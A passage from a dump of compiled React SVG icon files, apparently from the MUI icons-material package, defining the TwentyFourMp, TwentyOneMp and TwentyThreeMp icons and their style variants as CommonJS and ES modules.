    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 9H8v1h3v1.5H6.5V9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m8.5 1h-1v1.5H16V10h-3V5.5h1.5v3H16v-3h1.5v3h1zm-3 4H17v1.5h-1.5z\"\n}), 'TwentyFourMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyFourMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 9H8v1h3v1.5H6.5V9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m8.5 1h-1v1.5H16V10h-3V5.5h1.5v3H16v-3h1.5v3h1zm-3 4H17v1.5h-1.5z\"\n}), 'TwentyFourMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyFourMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm9.5-1.5h-3.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1m-.5 3H15V14h1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm5 1.5h1.5V10h1V8.5h-1v-3H16v3h-1.5v-3H13V10h3z\"\n}, \"2\")], 'TwentyFourMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyFourMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm9.5-1.5h-3.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1m-.5 3H15V14h1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm5 1.5h1.5V10h1V8.5h-1v-3H16v3h-1.5v-3H13V10h3z\"\n}, \"2\")], 'TwentyFourMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyFourMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.5 9c0-.55.45-1 1-1h2V7H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H7.5c-.55 0-1-.45-1-1zm6 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1zm-.25-6h-.25v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10h-2c-.55 0-1-.45-1-1V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5H16V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5h.25c.41 0 .75.34.75.75s-.34.75-.75.75\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwentyFourMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyFourMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.5 9c0-.55.45-1 1-1h2V7H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H7.5c-.55 0-1-.45-1-1zm6 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1zm-.25-6h-.25v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10h-2c-.55 0-1-.45-1-1V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5H16V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5h.25c.41 0 .75.34.75.75s-.34.75-.75.75\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwentyFourMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyFourMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm3.5 5h3V7h-3V5.5H11V9H8v1h3v1.5H6.5zm6 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18zm.5-7h-1v1.5H16V10h-3V5.5h1.5v3H16v-3h1.5v3h1z\"\n}, \"1\")], 'TwentyFourMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyFourMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm3.5 5h3V7h-3V5.5H11V9H8v1h3v1.5H6.5zm6 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18zm.5-7h-1v1.5H16V10h-3V5.5h1.5v3H16v-3h1.5v3h1z\"\n}, \"1\")], 'TwentyFourMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyFourMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-3c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1zM13 5.5h1.5v3H16v-3h1.5v3h1V10h-1v1.5H16V10h-3zM6.5 9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h3v1.5H6.5zM6 13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm9.5-1.5h-3.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1m-.5 3H15V14h1.5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm5 1.5h1.5V10h1V8.5h-1v-3H16v3h-1.5v-3H13V10h3z\"\n}, \"4\")], 'TwentyFourMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyFourMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-3c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1zM13 5.5h1.5v3H16v-3h1.5v3h1V10h-1v1.5H16V10h-3zM6.5 9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h3v1.5H6.5zM6 13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm9.5-1.5h-3.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1m-.5 3H15V14h1.5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11zm5 1.5h1.5V10h1V8.5h-1v-3H16v3h-1.5v-3H13V10h3z\"\n}, \"4\")], 'TwentyFourMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyOneMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM11 9H9v1h3v1.5H7.5V9c0-.55.45-1 1-1h2V7h-3V5.5H11c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m3-3.5h3v6h-1.5V7H14zm1.5 8.5H17v1.5h-1.5z\"\n}), 'TwentyOneMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyOneMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM11 9H9v1h3v1.5H7.5V9c0-.55.45-1 1-1h2V7h-3V5.5H11c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m3-3.5h3v6h-1.5V7H14zm1.5 8.5H17v1.5h-1.5z\"\n}), 'TwentyOneMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyOneMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 11.5H16v-6h-3V7h1.5zM12 10H9V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H7.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H12zm-4.5 4h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm7.5 3h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6H15zm0-3h1.5v1.5H15z\"\n}, \"1\")], 'TwentyOneMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyOneMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 11.5H16v-6h-3V7h1.5zM12 10H9V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H7.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H12zm-4.5 4h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm7.5 3h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6H15zm0-3h1.5v1.5H15z\"\n}, \"1\")], 'TwentyOneMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyOneMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.5 9c0-.55.45-1 1-1h2V7H8.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H11c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H9v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H8.5c-.55 0-1-.45-1-1zm5 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm.5-11.5c0-.41.34-.75.75-.75H15c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'TwentyOneMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyOneMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.5 9c0-.55.45-1 1-1h2V7H8.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H11c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H9v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H8.5c-.55 0-1-.45-1-1zm5 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm.5-11.5c0-.41.34-.75.75-.75H15c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75c-.41 0-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'TwentyOneMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyOneMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm4.5 5h3V7h-3V5.5H12V9H9v1h3v1.5H7.5zm5 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm.5-13h3v6h-1.5V7H13zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'TwentyOneMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyOneMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm4.5 5h3V7h-3V5.5H12V9H9v1h3v1.5H7.5zm5 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm.5-13h3v6h-1.5V7H13zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'TwentyOneMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyOneMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm8-13.5h3v6h-1.5V7H13zm.5 7H17c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2v1.5h-1.5zM7.5 9c0-.55.45-1 1-1h2V7h-3V5.5H11c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H9v1h3v1.5H7.5zM6 13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 11.5H16v-6h-3V7h1.5zM12 10H9V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H7.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H12zm-4.5 4h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm7.5 3h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6H15zm0-3h1.5v1.5H15z\"\n}, \"3\")], 'TwentyOneMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyOneMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm8-13.5h3v6h-1.5V7H13zm.5 7H17c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2v1.5h-1.5zM7.5 9c0-.55.45-1 1-1h2V7h-3V5.5H11c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H9v1h3v1.5H7.5zM6 13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 11.5H16v-6h-3V7h1.5zM12 10H9V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H7.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H12zm-4.5 4h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm7.5 3h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6H15zm0-3h1.5v1.5H15z\"\n}, \"3\")], 'TwentyOneMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyThreeMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 9H8v1h3v1.5H6.5V9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m7.5 1.5c0 .55-.45 1-1 1H13V10h3V9h-2V8h2V7h-3V5.5h3.5c.55 0 1 .45 1 1zm-2 3.5H17v1.5h-1.5z\"\n}), 'TwentyThreeMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyThreeMp.mjs",
